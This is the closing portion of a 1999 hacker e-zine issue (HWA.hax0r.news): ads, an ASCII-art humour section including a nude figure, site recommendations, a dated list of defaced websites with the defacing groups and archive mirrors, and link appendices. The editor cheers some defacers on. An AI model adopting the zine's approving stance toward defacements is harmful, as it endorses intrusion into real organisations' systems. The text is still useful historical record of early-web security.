~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*****************************************************************************
* *
* ATTRITION.ORG http://www.attrition.org *
* ATTRITION.ORG Advisory Archive, Hacked Page Mirror *
* ATTRITION.ORG DoS Database, Crypto Archive *
* ATTRITION.ORG Sarcasm, Rudeness, and More. *
* *
*****************************************************************************
www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
m www.2600.com ########################################ww.2600.com www.freeke
vin.com www.kev# Support 2600.com and the Free Kevin #.com www.kevinmitnick.
com www.2600.co# defense fund site, visit it now! . # www.2600.com www.free
kevin.com www.k# FREE KEVIN! #in.com www.kevinmitnic
k.com www.2600.########################################om www.2600.com www.fre
ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre
<a href="http://www.2600.com/">www.2600.com</a>
<a href="http://www.kevinmitnick.com></a>
+-----------------------------------------------------------------------------+
| SmoG Alert .. http://smog.cjb.net/ NEWS on SCIENCE |
| =================== http://smog.cjb.net/ NEWS on SECURITY |
| NEWS/NEWS/NEWS/NEWS http://smog.cjb.net/ NEWS on THE NET |
| http://smog.cjb.net/ NEWS on TECHNOLOGY |
+-----------------------------------------------------------------------------+
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
* www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net *
<a href="http://www.csoft.net">One of our sponsers, visit them now</a> www.csoft.net
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
* JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
//////////////////////////////////////////////////////////////////////////////
// To place an ad in this section simply type it up and email it to //
// hwa@press,usmc.net, put AD! in the subject header please. - Ed //
//////////////////////////////////////////////////////////////////////////////
@HWA
HA.HA Humour and puzzles ...etc
~~~~~~~~~~~~~~~~~~~~~~~~~
Don't worry. worry a *lot*
Send in submissions for this section please! ............c'mon, you KNOW you
wanna...yeah you do...make it fresh and new...be famous...<sic>
____ _ _ _ _ _
/ ___| ___ _ __ __| (_)_ __ _ _ ___ _ _ _ __ / \ ___ ___(_|_)
\___ \ / _ \ '_ \ / _` | | '_ \| | | |/ _ \| | | | '__| / _ \ / __|/ __| | |
___) | __/ | | | (_| | | | | | |_| | (_) | |_| | | / ___ \\__ \ (__| | |
|____/ \___|_| |_|\__,_|_|_| |_|\__, |\___/ \__,_|_| /_/ \_\___/\___|_|_|
|___/
/ \ _ __| |_
/ _ \ | '__| __|
/ ___ \| | | |_
/_/ \_\_| \__| TOO, for inclusion in future issues
Do the HWA logo etc and we'll showcase it here to show off your talents...remember
the 80's? dig out those ascii editors and do yer best...
_|
_|_|_| _|_| _|_|_|_|
_| _| _| _| _|
_| _| _| _| _|
_|_|_| _|_| _|_|
_|
_|_|
_| _|_|
_| _|_| _|_| _|_| _|_|_|_| _|
_|_| _| _| _| _| _| _|_|
_| _| _| _| _| _|
_| _|_| _|_| _|_| _|
I know some of you print this out onto hardcopy (poor bastards :) so here's a treat
for you, the classic Angela ascii nude...
ANGELA
Author: Unkown, Someone at MIT probably.
. ...
.""." . ".
. "" '.".:I:.".. ".
.".:.:....:II:".".".. ".
.":."::.:::.:II:".".".".. ".
."."."."::.:.:.:I:".".".". . .
..".".".:.:I::.:II:."..".".. .
.."."":.:.::.:.::II::.".".".".. .
..".".".:.::. .:::II:..".".".".". .
.":."".":".".".:.:I:".".".".".. ".. ..
":. ".":". ..:.::.::.:.".." ":.".".. ..
.:.:.":". ".:":I:.:.. .".". ": .".. . ..
"..:.:". .:.II:.:.. . .:.". ".. ". . ..
.. :.:.". .:.:I:.:. . . ..:..:. :..":. . ".
.:. :.:. .:.:I:.:. . . ..:I::. :: :: .. ..
.. :".".:. .:.:I:". ..:.:I:. :: ::. . ".
"..:. .:.. .:II:" ..:IIIH. ::. ":. .
.:.::".:::..:.AII:. .::',, :I .::. ":. .
:..:".:II:.:I: ,,:" " .::FBT'X:: ..:.. ":. . .
.. :":III:. :.:A'FBF:. . .P.IP::':: :I:.."::. . ..
. .:.:II: A.".":.PP:' . . ..".." .: :.::. ":... . ..
. .: .:IIIH:. " "." . ... . .:. :.:.. :... ."
. .I.::I:IIA. .. ... ..::.".".".: .. . .
.:II.".":IA:. .. ..:. . .:.: .""." .. . .
..::I:."."::A:. . .:"-. .-.:.. .:.::AA.. ..:." .. .
":II:I:. ":A:. ..:" "".. . : ..:::AHI: ..:..".".
.":III.::. "II:.:.,.::::::::'. .:::AHV:: .::"" ..
..':IIHI::. . 'I:..'::,,,,::'. . .:AII:: :.:" . .
. . IIHHI:..".."V::. '::::' ...:AIIV:".:." .. .
. . :IIHI:. .:.:.V:. " " . ...:HI:" .:: :. . ..
. . ":IHII:: ::.IA.. .. .A .,,:::" .:. .
:. ..."I:I:.: .,AHHA, . ."..AHIV::" . . : ..
:. ".::::II:.I:.HIHHIHHHHHIHHIHV:"..:. .I.":. .. ".
. . .. "":::I:".::IHHHHHHHHHHHHIHI. ".".:IHI.. " " ".
":... . ""' .::".HHHI:HHHHHHHIHI. :IIHHII:. . . . .
:.:.. . ..::." .IV'.:I:IIIHIHHIH. .:IHI::".": ".. . .
. .:.:: .. ::"."."..":.::I:I:IHHHIA.".II.:...:" ." ... . "..
"..::::" ...::".IIHII:: .:.:..:..:III:."::" ." . .. . .
"::.:" ."" .. :IIHI:.:.. ..: . .:I:'" ...:.:. .. .. ..
.:..::I:. . . . .IHII:.:" .. ..'.::.:II:.:. . ... . ..
.. . .::.:.,,...-::II:.:" . ...... . .. .:II:.:: ... .. ..
..:.::.I . . . .. .:. .... ..,:.. . . ..:.::. :.. . ..
.".::I:. . .. ..:.... . ..... .. . ..::. .. .I:. .." .
."":.: I. . .. ..:.. . . .. ..... .:. .:.. .:I.".""..
. .:::I:. . . .. .:. . .. .. . ... .:."."I" . ...
. ::.:I:.. . . . ....:. . . .... .. .:...:.:.:. "".""
"."::"I:. . .. ....:. . .. . .. .." .".:..:.. "
:. . . .. .. .:.... . . .... ... . .:.:.:.. ".
:. . . . .. .:.... . . ........ .:.:.::. . .
:. . . . . . .. .::..: . ..:.. . ::.:.:.. . .
:.. . . . . . .. ..:.: .. .. .:. .. ":::.::.:. . .
":.. . . . . .. .. ...::" .. .. . .:. . V:I:::::.. . :.
"::. . . .. .. ... .:.:: .. . . .. .. . VI:I:::::.. ""B
:.. . . .. ..:.. ..I:... . . . .. ... . VII:I:I:::. ."::
":.. . . . .. ..:..:.:I:.:. . . .. . .:. . VHIII:I::.:..":
::.. . . .. ..:..:.HI:. . . . .... . :HHIHIII:I::..:
":. . . .. .. ..:.:.:HI:. . . .. ..... . HHHHIHII:I::."
:.. . . . .. .:.:.:.HI:. . . .. ... . IHHHHIHHIHI:"
:.. . . . .. ..:..IH:. . . .. .. ... . "HHHHHHHHI:"
":.. . . .. ..:.:.:HI.. . . .. . :::::. IH:'''"
:. . . . .. ..::.:.VI:. . . .. .:::"::. HIH
:.. . . .. .:.:.:.V:. . . . ...::I'A:. HHV
:. . . . .. ..:.:.V:. . . ....::I::".HV:
:. . . . . .. .:..II:. . . . ....":::" AV."
:.. . . .. ... .:..VI:. . . .. .:. ..:.AV".
":.. . . .. ..:.:.:HAI:.:...:.:.:.:.AII:.
I:. . .. ... .:.:.VHHII:..:.:..:A:".:..
IA.. . . .. ..:.:.:VHHHHIHIHHIHI:".::.
"HA:. . . .. ..:.:.:HHHIHIHHHIHI:..:.
HIA: . . . .. ...:.VHHHIHIIHI::.:...
HIHI:. . .. ... .::.HHHIIHIIHI:::..
HII:.:. . .. ... .::VHHIHI:I::.:..
AI:..:.. . . .. ..:.VHIII:I::.:. .
AI:. ..:.. . . .. .." VHIII:I:... .
AI:. . .:.. . . . ... VHIII::... .
.A:. . :.. . . .. .:.. VHII::.. .
A:. . . ::. .. .. . .:.. 'VHI::.. .
.:.. . . :.. .:..... .::.. VHI:..
... . . . . . :.:. ..:. . .::.. VI:.. .
.. .. . . . . ...:... . .. . .:::. V:.. .
".. .. . . .. ..:::.... .:. . ..::.. V.. .
. . .. . . . . .. ..:::A. ..:. . . .::.. :..
. .. .. .. . . . ... ..::IA.. .. . . ..::. :.. .
.. .. ... . . .. .... .:.::IA. . .. . ..:.::. :. .
. . . .. . . . .. ..:..:.::IIA. . . .. .:.::. :. .
.. . . . . . .. ... ..:.::I:IHA. . . . ..:.::. . .
.: .. . . . . ... .:.. .:I:IIHHA. . . .. .::I:. .
.::. . . . .. ..:. .::.:IIHIIHHHA. . .. ..:I:. . .
A::.. . . ...:..:.::I:IHIHIHHHHA. . . ..::I:. .
:HI:.. . . .. .:.:.::I:IHIHIIHIHHHA. . .. .::I:. ..
AI:.. .. . . .. .:.:.::II:IHIIIHIHIHHHA. . . ..::I:. ..
:HI:.. . . . . .. .::.:I:IHIHIIIHIHIIHHHA.. . .. .::I:. ..
AI:.:.. . . . ... .::.::I:IHIIHIHIHIHIHIHHA. . . ..::I:. .
HI:. .. . . . . .. .:..::IIHIHIHIIIIVHIIHHHVA. . . .:::I:. . .
HI:.. . . . . .. ..:.::I:IIHHIIHIHIHIHHHHV' ".. . ..:::II: . .
HI::.. . . . .. .:..:::IIHIHIIVIVIIVHVV' . .. . ..::III: . .
HI::... . . . . ... ..:.:::IIHIVIVIVHVHVV. . . . .. .:.:III. . .
II::.:.. . . . .. ......:..IHVHIVVHVHV'.. . . . . "... .:.:IHI:.. .
II:I::.. . . . . .....::.:IHVHVVVHV:.. . . . . .:..:::IIHII..
:II:.:.:.. . . . ......:.:.:IVVHVVV:.:.. . . . . :...:.:IHHI:..
HI::.:. . . . . . ...:.::.::.VVHVV::.:.:.. . . .. . :.. ..:IHHI::."'
HII::.:.. . . . .. .:..:.". "VVVI::.::.:.. . . . .. ":...:II:IIII::
III::.:... . . . ...:.:... . VII:I::.:.. . . .. . . :.:::...::.::
VII::.:.. . . . .. ...:.... VHI:I::.:.. . . ... .. .::.:..:.:..:
VII::.:.. . . ..:.::.. . :HHII:I::.:.. . . .. .. ."::":......
III:I::.. .. . . .. .:.:.. . :VHIHI:I::.:... . . .. .. .":. .. .AH
III:I::.. . . . .. ..:.. . . ::HHIHII:I::.:... .. .. ... .:.::AHHH
@HWA
SITE.1
#1
http://www.smog.cjb.net
Smogzer has revamped his Smog Alert site, it now has a much nicer interface and
look, plus the usual news and e-books and how-to's, plus the featured how-to on
removing banners from FWP's which is included in this issue and can also be
found on PSS. Check it out.
#2
http://packetstorm.securify.com
Well it had to be this site didn't it? They're back online (see elsewhere in the
mag for more info). Nice layout, No Ken. Can't have everything I suppose but at
least all that cool data wasn't lost. Many of the September exploits featured in
this issue are from PSS.
You can Send in submissions for this section too if you've found (or RUN) a cool site...
@HWA
H.W Hacked websites
~~~~~~~~~~~~~~~~
Note: The hacked site reports stay, especially with some cool hits by
groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed
* Hackers Against Racist Propaganda (See issue #7)
Haven't heard from Catharsys in a while for those following their saga visit
http://frey.rapidnet.com/~ptah/ for 'the story so far'...
Hacker groups breakdown is available at Attrition.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
check out http://www.attrition.org/mirror/attrition/groups.html to see who
you are up against. You can often gather intel from IRC as many of these
groups maintain a presence by having a channel with their group name as the
channel name, others aren't so obvious but do exist.
[99.09.23] NT [ ] Celiba Web (www.celibaweb.com)
[99.09.23] Ir [ ] Baga (UK) (www.baga.co.uk)
[99.09.23] Li [LevelSeven] Ranger Power (www.rangerpower.com)
[99.09.22] [ytcracker] Movin Melvin (www.movinmelvin.com)
[99.09.22] Li [DeLLeTe] New Horizons Funding (www.newhorizonsfunding.com)
[99.09.22] NT [bl0w team] Rogers University (www.rogersu.edu)
[99.09.22] So [Epoc_] SF Giants (www.sfgiants.com)
[99.09.22] Ir [DeLLeTe] Solana Ranch (www.solanaranch.com)
[99.09.22] NT [DeLLeTe] Update Wizard (www.updatewizard.com)
[99.09.22] Bf [DeLLeTe] West End Media (www.westendmedia.com)
[99.09.22] NT [DeLLeTe] World City Info (www.worldcityinfo.com)
[99.09.22] Li [Epoc_] ZeroKool (www.zerokool.org)
[99.09.22] NT [bl0w team] Massachusetts College of Pharmacy (www.mcp.edu)
[99.09.22] NT [139_r00ted] Hoffman Bikes (www.hoffmanbikes.com)
[99.09.22] NT [DeLLeTe] Get Computer Smart (www.getcomputersmart.com)
[99.09.22] NT [139_r00ted] Electronic Data Systems (www.eds-ms.com)
[99.09.22] So [DeLLeTe] Dr. David Martin (www.dmartin.com)
[99.09.22] Ir [DeLLeTe] Creek and Timber (www.creekandtimber.com)
[99.09.22] NT [ytcracker] Airspace USA (airspaceusa.com)
[99.09.22] Li [ ] Value Com (valuecom.com)
[99.09.22] Bf [Jewkid] Deadlist (www.deadlist.com)
[99.09.23] Li [ ] Galt Sux (www.galtsux.com)
[99.09.23] So [mistuh clean] Internet Image (www.internetimage.com)
[99.09.23] NT [HIT2000] Celiba Web (www.celibaweb.com)
[99.09.23] Ir [RoA] Baga (UK) (www.baga.co.uk)
[99.09.23] Li [LevelSeven] Ranger Power (www.rangerpower.com)
[99.09.20] Li [LevelSeven] Frohling Family Org. (frohling.org)
[99.09.20] NT [bl0w team] Central Connecticut State Univ. (www.ccsu.edu)
[99.09.20] Li [DeLLeTe] Front Stage (www.frontstage.com)
[99.09.20] Li [Buff3] Bird (www.odd.org)
[99.09.20] BI [DeLLeTe] RC2 (www.rc2.com)
[99.09.20] NT [HIT2000] Euro Micron (www.euromicron.com)
[99.09.20] Bf [ ] C g0ddess nude models (www.g0ddess.com)
[99.09.20] So [z0mba] Keansburg High School (titans.khs.keansburg.k12.nj.us)
[99.09.20] NT [bl0w team] Adrian College (www.adrian.edu)
[99.09.20] NT [ytcrcker/s0n] Empire Honda (www.empirehonda.com)
[9/21/99]
defaced: www.rootfest.org
by: citadel
mirror:http://www.attrition.org/mirror/attrition/1999/09/21/www.rootfest.org/
(According to lothos in #legions, this was a DNS hack and not a server hack.)
[9/20/99]
Defaced: http://www.g0ddess.com/
By: Unknown
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/20/www.g0ddess.com
OS: FreeBSD
Note: The defacement consists of a comment within the HTML of the
mirror.
[9/20/99]
defaced: www.el8.net
By: ?
mirror: http://www.attrition.org/mirror/attrition/1999/09/21/www.el8.net/
(yes, the defacers used file:///c:/ img src tags, so the images are
broken. bright.)
[9/20/99]
Defaced: http://www.euromicron.com/
By: HIT2000
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/20/www.euromicron.com
OS: NT
[9/20/99]
Defaced: http://titans.khs.keansburg.k12.nj.us/
By: z0mba
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/20/titans.khs.keansburg.k12.nj.us
OS: Solaris
[9/20/99]
Defaced: http://www.empirehonda.com/
By: ytcr�cker/s0n
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/20/www.empirehonda.com
OS: NT
[9/20/99]
Defaced: http://www.adrian.edu/
By: bl0w team
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/20/www.adrian.edu
OS: NT
[9/19/99]
Defaced: http://www.iqsnet.it/
By: Teddy Ruxpin Enthusiasts Against Tyranny
Mirror: http://www.attrition.org/mirror/attrition/1999/09/19/www.iqsnet.it/
OS: Solaris
[9/19/99]
Defaced: http://www.bou.or.ug/ (Bank of Uganda)
By: 139_R00ted
Mirror: http://www.attrition.org/mirror/attrition/1999/09/19/www.bou.or.ug
OS: NT
[9/19/99]
Defaced: http://www.naacp.org
By: United Loan Gunmen
Mirror: http://www.attrition.org/mirror/attrition/1999/09/19/www.naacp.org/
OS: NT
Note: This is the same group that has defaced ABC Network, C-SPAN, The
Drudge Report, and the NASDAQ
[9/18/99]
Defaced: http://www.pietersburg.org.za/
By: 139 Rooted
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/18/www.pietersburg.org.za
OS: Windows NT
[9/18/99]
Defaced: http://www.rivazone.de/
By: HIT2000
Mirror: http://www.attrition.org/mirror/attrition/1999/09/18/www.rivazone.de
OS: Linux
[9/18/99]
Defaced: http://www.wine-auction-prices.com
By: Hackers in Paradise
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/18/www.wine-auction-prices.com/
OS: BSD/OS
Note: This is the same group that brought to our attention the flaw in
Webcart e-commerce software. MindSec.com released an advisory on the
software (http://www.mindsec.com/webcart) and Mountain Networks, makers
of the software, responded ( http://www.mountain-net.com/security.htm )
Allegedly, this group has found other flaws in the software other than
what is addressed by its creator.
[9/18/99]
Defaced: http://www.ucinet.com
By: Team Defiance
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/18/www.ucinet.com
OS: Linux
[9/17/99]
Defaced: http://www.earl.org.uk/
By: vendetta
Mirror: http://www.attrition.org/mirror/attrition/1999/09/17/www.earl.org.uk
OS: Solaris
[9/17/99]
Defaced: http://www.lic.gov.uk/
By: vendetta
Mirror: http://www.attrition.org/mirror/attrition/1999/09/17/www.lic.gov.uk
OS: Solaris
[9/17/99]
Defaced: http://www.dorts.gov.tw/
By: Pakistan Hacker Club
Mirror: http://www.attrition.org/mirror/attrition/1999/09/17/www.dorts.gov.tw
OS: BSD/OS
[9/17/99]
Defaced: http://www.jobsite.co.uk/
By: vendetta
Mirror: http://www.attrition.org/mirror/attrition/1999/09/17/www.jobsite.co.uk
OS: Solaris
[9/17/99]
Defaced: http://www.lesoff.co.za/
By: 139 R00ted
Mirror: http://www.attrition.org/mirror/attrition/1999/09/17/www.lesoff.co.za
OS: NT
[9/17/99]
Defaced: http://www.cloudgate.org.tw/
By: ALOC
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/17/www.cloudgate.org.tw
OS: Linux
[9/17/99]
Mass Defacement
By: L0rdMyst1cal
Mirror:
http://www.attrition.org/mirror/attrition/1999/09/17/www.herreramedia.com
OS: NT
Domains:
www.tental.com
www.herreramedia.com
www.worldtek.net
www.danwebb.com
www.elixirs.com
www.brownsweb.com
www.jodo.com
www.voyagergroup.net
www.softwarepundits.com
www.crowe.org
www.mayhewandassoc.com
www.cruisinco.com
and more sites at the attrition cracked web sites mirror:
http://www.attrition.org/mirror/attrition/index.html
-------------------------------------------------------------------------
A.0 APPENDICES
_________________________________________________________________________
A.1 PHACVW, sekurity, security, cyberwar links
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The links are no longer maintained in this file, there is now a
links section on the http://welcome.to/HWA.hax0r.news/ url so check
there for current links etc.
The hack FAQ (The #hack/alt.2600 faq)
http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
Hacker's Jargon File (The quote file)
http://www.lysator.liu.se/hackdict/split2/main_index.html
New Hacker's Jargon File.
http://www.tuxedo.org/~esr/jargon/
HWA.hax0r.news Mirror Sites around the world:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.sysbreakers.com/hwa ** NEW **
http://www.attrition.org/hosted/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.hackunlimited.com/files/secu/papers/hwa/ ** NEW **
http://www.ducktank.net/hwa/issues.html. ** NEW **
http://www.alldas.de/hwaidx1.htm ** NEW **
http://www.csoft.net/~hwa/
http://www.digitalgeeks.com/hwa.*DOWN*
http://members.tripod.com/~hwa_2k
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://archives.projectgamma.com/zines/hwa/.
http://www.403-security.org/Htmls/hwa.hax0r.news.htm
http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
http://hwa.hax0r.news.8m.com/
http://www.fortunecity.com/skyscraper/feature/103/
International links:(TBC)
~~~~~~~~~~~~~~~~~~~~~~~~~
Foreign correspondants and others please send in news site links that
have security news from foreign countries for inclusion in this list
thanks... - Ed
Belgium.......: http://bewoner.dma.be/cum/
Brasil........: http://www.psynet.net/ka0z
http://www.elementais.cjb.net
Canada .......: http://www.hackcanada.com
Columbia......: http://www.cascabel.8m.com
http://www.intrusos.cjb.net
Finland ........http://hackunlimited.com/
Germany ........http://www.alldas.de/
http://www.security-news.com/
Indonesia.....: http://www.k-elektronik.org/index2.html
http://members.xoom.com/neblonica/
http://hackerlink.or.id/
Netherlands...: http://security.pine.nl/
Russia........: http://www.tsu.ru/~eugene/
Singapore.....: http://www.icepoint.com
South Africa ...http://www.hackers.co.za
http://www.hack.co.za
http://www.posthuman.za.net
Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first and best security related e-zine.
.za (South Africa) sites contributed by wyzwun tnx guy...
Got a link for this section? email it to hwa@press.usmc.net and i'll
review it and post it here if it merits it.
@HWA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
� 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
[45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]